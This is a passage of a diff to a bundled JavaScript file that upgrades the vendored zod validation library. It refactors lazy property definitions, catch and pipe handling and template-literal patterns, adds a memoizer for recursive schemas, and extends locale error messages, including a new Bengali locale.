zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -67007,8 +67656,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -67021,8 +67670,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -67061,46 +67710,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -67120,10 +67760,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -67140,18 +67780,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -67201,10 +67841,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -67217,23 +67857,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer2 : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -67267,33 +67950,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse2(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse2(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -67332,12 +68015,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -67356,10 +68039,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -67372,20 +68055,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -67399,14 +68082,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -67418,7 +68380,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -67429,22 +68393,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -67456,13 +68427,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -67488,12 +68460,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -67563,13 +68539,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -67595,12 +68572,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -67669,7 +68650,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -67711,6 +68692,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -67744,12 +68733,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -67826,13 +68819,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -67858,12 +68852,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -67947,13 +68945,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if 